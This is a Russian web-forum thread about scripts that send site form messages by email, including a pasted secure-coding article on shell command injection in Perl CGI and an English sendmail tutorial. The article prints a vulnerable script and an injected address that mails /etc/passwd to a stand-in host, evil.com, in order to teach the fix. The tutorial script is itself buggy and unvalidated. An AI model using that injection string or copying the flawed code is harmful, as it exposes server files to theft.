[closed] Форму для отправки сообщений на мыло
Типовые ошибки
Передача нефильтрованного пользовательского ввода внешним приложениям и функциям по работе с файлами.
Может привести к чтению либо записи в файлы, находящиеся вне дерева документов www-сервера (если пользовательский ввод содержит нечто вроде ../../../my/secret/file и содержащие критичную информацию, например, пользовательские пароли.
Кроме того, при этом вполне может быть использована какая-нибудь недокументированная команда или люк, позволяющие выполнить код от имени привилегированного пользователя.
Под пользовательским вводом понимается как информация, полученная непосредственно из полей ввода html-формы, так и из cookie, и даже из собственной базы данных (кто знает, насколько надежно осуществлялся отсев пользовательского ввода пару лет назад, когда заполнялась эта база). Для ASP это относится также и к сессионным переменным, являющимися по сути дела теми же cooke.
Вызов внешних приложений с использованием командной оболочки.
Это частный и весьма популярный случай рассмотренной ранее передачи пользовательского ввода внешним приложениям. Если в процессе вызова внешней программы будет участвовать командная оболочка, то, можно воспользоваться ее управляющими символами, передав в пользовательском вводе ее команды, скомбинированные с символами-разделителями. Т.е. фактически выполнить на сервере любую команду.
У С++ с этой точки зрения потенциально опасны функции popen и system (причем вместо последней часто можно безболезненно воспользоваться exec или spawn у Perl проблемными являются функции system и exec, open с перенаправлением вывода (аналогичная popen функция eval, а также обратная кавычка "`". Аналогичные функции используются в php, в ASP же прямой аналог отсутствует - функция CreateObject, создающая объект автоматизации и в том числе служащая для вызова внешних приложений, избавлена от недостатка функций, использующих командную оболочку.
Сами по себе перечисленные функции достаточно безопасны, и, если скрипт просто вызывает некую внешнюю программу, никакой беды в этом нет. Сложности возникают, когда скрипт передает внешней программе в качестве параметра некую информацию, введенную пользователем: адрес, сообщаемый программе электронной почты, вызов grep из поисковой системы и т. д.
Очевидный пример - отправление письма по адресу, указанному пользователем (например, в качестве подтверждения какого то запроса и т. п.):
#!/usr/bin/perl
use CGI qw(:standard);
$query = new CGI;
$mailprog='| /usr/sbin/sendmail';
$address= $query >param('address');
$from='somehost';
open (MAIL,"$mailprog $address");
print MAIL "From: $from\nSubject: Confirmation\n\n";
print MAIL "Your request was successfully received\n";
close MAIL;
Теперь предположим, что пользователь ввел следующий обратный адрес: evil.com;mail evil.com </etc/passwd;
в результате чего выполнится команда /usr/sbin/sendmail evil.com;mail evil.com </etc/passwd; - явно не то, что мы ожидали.
При использовании sendmail избавиться от ошибки очень легко - достаточно применить ключ "-t", запрещающий использовать адрес, переданный в командной строке, и передать его в заголовке письма:
...
$mailprog='| /usr/sbin/sendmail t';
open (MAIL,"$mailprog ");
print MAIL "To: $address\nFrom: $from\nSubject: Confirmation\n\n";
print MAIL "Your request was successfully received\n";
close MAIL;
Если же никак не удается избавиться от необходимости передачи пользовательского ввода оболочке, остается фильтровать в нем все специальные символы. Этих символов довольно много: <>|&;`'\"*$?~^[]{}\n\r.
Кроме того, при вызове системных функций особо осторожно стоит работать с "нулевым" символом - \0. Дело в том, что для системных функций, написанных, как правило, на C, нулевой символ является признаком конца строки. Для Perl же нулевой символ вполне может оказаться частью строки. В итоге строка, которая проверяется perl-скриптом, и передается такой функции, может оказаться совсем не похожей на то, что получит функция.
Самое простое, что можно сделать, - удалить все спецсимволы из введенной строки с помощью конструкции примерно такого вида:
$metasymbols = "][<>\|&;`'\"*\$\?~\^{}\n\r";
$string =~ s/[$metasymbols\\]//g;
Помимо этого постарайтесь гарантировать соответствие ввода предусмотренному шаблону. Скажем, для того же почтового адреса этим шаблоном может быть domain1.domain2, что чаще всего делается на Perl следующим образом:
die "Wrong address" if ($address !~ /^\w[\w\ .]*\@[\w\ .]+$/);
Здесь в начале и в конце строки ожидается один или несколько символов a z, A Z, 0 9, " ", "." и "@" внутри, причем " " или "." не могут быть первыми. Правда, это не слишком помогает против атак, подобных приведенной выше, достаточно завершить наш псевдоадрес чем нибудь типа ;@somewhere.ru.
Если же у вас нет желания фильтровать спецсимволы, можно использовать другой вариант вызова функций system и exec, позволяющий передать не один аргумент, а список аргументов. В этом случае Perl не передает список аргументов в оболочку, а рассматривает первый аргумент как подлежащую выполнению команду, и остальные аргументы - как параметры этой команды. Причем обычная для оболочки интерпретация спецсимволов не производится:
вместо system "grep $pattern $files"; использовать system "grep", "$pattern", "$files";.
Этим же свойством можно воспользоваться для безопасного перенаправленного ввода/вывода. При этом нам понадобится знание того факта, что при открытии с перенаправлением вывода команды " " мы неявно вызываем fork, создавая тем самым копию нашего процесса. В такой ситуации функция open возвращает 0 для дочернего процесса и pid дочернего процесса для родительского, что позволяет применять оператор or:
open (MAIL, "| ") or exec $mailprog, $address;
#open в родительском процессе возвращает ненулевое значение,
# и нет
#необходимости выполнять правую сторону or. Дочерний же процесс
#выполняет exec, после чего завершается.
print MAIL "From: $from\nSubject: Confirmation\n\n";
print MAIL "Your request was successfully received\n";
close MAIL;
A very common task for a cgi script is to be able to inform a set of users with data generated by itself or other programs, cgi's or not. For example, you might be one of the web designers who have joined one of the myriad of free counter programs on the internet that email you with nice statistics and reports about your web pages' traffic. Systems like that are responsible for informing such a large number subscribers that sending the reports manually would require a full-time employee devoted to this task only. Obviously this wouldn't be a sensible option even for a relatively large organization.
The way to automate this task is to let a perl program do those tedious bits of work for you. In this article we will build a perl script which does exactly that. We are going to go step by step giving explanations and analyzing the tricky parts.
Perl, being perl, provides the programmer with more than one ways to do same thing, sending email included. In this script we are going to use sendmail. Sendmail, is an open source program used on most unix computers and some nt workstations as well. Sendmail as its name implies has the ability to send email! We are going to use perl's ability to open pipes to programs to run sendmail and feed it with input. If you are not familiar with sendmail it doesn't really matter though; you should just understand that sendmail is able to send an email, with its headers and content, to your mail gateway which will in turn forward it to its recipient(s).
Here is a very simple program that emails a confirmation to a user that his/her request to subscribe to a newsletter has been accepted:
#!/usr/bin/perl
use CGI;
my $query = new CGI;
my $sendmail = "/usr/sbin/sendmail -t";
my $reply_to = "Reply-to: bar.org";
my $subject = "Subject: Confirmation of your submission";
my $content = "Thanks for your submission.";
my $to = $query->param('send_to');
my $file = "subscribers.txt";
unless ($to) {
print $query->header;
print "Please fill in your email and try again";
}
open (FILE, ">>$file") or die "Cannot open $file: $!";
print $to,"\n";
close(FILE);
my $send_to = "To: ".$query->param('send_to');
open(SENDMAIL, "|$sendmail") or die "Cannot open $sendmail: $!";
print SENDMAIL $reply_to;
print SENDMAIL $subject;
print SENDMAIL $to;
print SENDMAIL "Content-type: text/plain\n\n";
print SENDMAIL $content;
close(SENDMAIL);
print $query->header;
print "Confirmation of your submission will be emailed to you.";
At first glance you can notice that this a relatively small program which if it wasn't that verbose would be even smaller. Looking through it you will also see that it is very simple to understand even for the Perl beginner; however it more than fullfils the task of sending email.
Let's have a look at it line by line... The cgi script takes its input from a web form. This hypothetical form consists one text input field:
<FORM method="POST" action="http://perlfect.com/cgi-perlfect/cgimail.pl">
<INPUT type="text" name="send_to">
<INPUT type="submit">
</FORM>
The script uses the CGI.pm module to parse the form data. If you are not familiar with that module I suggest that you read and learn about it as it will make you life as a scripter a lot happier. The param function provided by CGI.pm returns the value of a form field given its name as an argument and that's all you need to know for now; hence we use it in our script to find out what the user has entered in the text box. If the user has not entered anything the script returns an error message prompting the user to try again after filling in the appropriate text field.
If the user has entered an email address this is appended to a text file for later use by another program and then the script procedes to return a confirmation email to the user.
An email message consists of some headers and the content. There are many standard headers but the ones you will most commonly encounter and the one we use here are:
To: A comma separated list of recipient addresses.
From: The email address of the sender.
Reply-to: The email address to whic replies should be sent.
Subject: The subject of the message.
Content-type: The MIME type of the content.
The headers precede the content of the message. The content type header is written just before the content and is followed by two newline characters.
Sendmail has the ability, as most unix programs, to read from standard input hence all we need to do is a open a pipe to it and provide it with the input we want it to process. You will notice that we have given the -t option to sendmail. This merely tells sendmail to scan the message for a To:, Cc: or Bcc: header and extract the list of recipients from there. Having opened the pipe succesfully we print the message to it. First the headers, each one followed by a newline character, the a newline by itself and finally the content of the message. Finally we close the pipe. The email has been succesfully sent!
Here is a list of useful things you can do by using sendmail and perl:
1. Inform visitors of your site that have asked, that your site has been updated. The script used as an example here would be a good way to collect the addresses of the people you want to email.
2. Inform yourself of the way your scripts are running. For example you can write a few lines of code that email you when something goes wrong in a script that you 've written.
3. Create an online mailing list.
These are only some of the things you can do, but there is one thing you shouldn't do, except if you are really nasty. That is, do not spam people. Never email people that have not asked for the information you are providing as it will probably make them angry and in the future they will ignore any that corespondence from you. Have fun and be polite!
Suggested Reading
Online Documentation/Tutorials
* Your sendmail program's man pages will provide more detailed info about sending mail.
* You might want to have a look at the documentation of the Mail:: modules available at CPAN. There are also many other modules for sending and processing mail there.
Автору: посмотри на функцию mail
во многих таких формах содержится строчка:
<input type="submit" value="Отправить сообщение" onclick="submit; return true;">
Где содержится значение submit того, куда посылается это сообщение?
В том же (или подключаемом) документе это функция Javascript/VBScript/etc
если, конечно, такая функция до этого не была определена где-то ещё
В том же (или подключаемом) документе это функция Javascript/VBScript/etcА как можно явно прописать значение того, куда отправлять сообщение?
Нашел много сайтов с такими формами, но подключаемый файл, где прописывается адрес получателя не скачивается? Как быть? Но ни на одно сайте значение получателя явно не прописано в самом документе
Что-то я не поняля, человек спросил, как отправить письмо с помощью PHP, а ты ему привёл список возможных ошибок при написании скрипта на Perl, даже сам скрипт при этом не привёлЕсли бы я знал пэхэпэ, имея перед собой этот текст, я бы написал непробиваемый скрипт отправки чего угодно на почту. Что толку плодить убогие единообразные скрипты, которые единообразно взламываются?
Готовый скрипт приводится в конце каждой из статей. Естественно, ты не дочитало до конца.
На пхп - даже писать не буду, как это сделать. Въяндыкс.
Если бы я знал пэхэпэ, имея перед собой этот текст, я бы написал непробиваемый скрипт отправки чего угодно на почту. Что толку плодить убогие единообразные скрипты, которые единообразно взламываются?Нет. В том твоём посте написано только, какие ошибки не надо допускать
Готовый скрипт приводится в конце каждой из статей. Естественно, ты не дочитало до конца.Я прочитала только первый пост, на него и отвечала - и когда я его читала, он был последним а в нём примеров нет
Оставить комментарий
alenaz
У кого-нибудь есть код скрипта для отправки сообщений с сайта на мыло? Искал, но во многих есть строчка mailto: и далее адрес. Такой не подходит.P.S. Сайт поддерживает PHP
P.P.S. Всем спасибо за помощь. Проблему решил. Надо было права нормально выставлять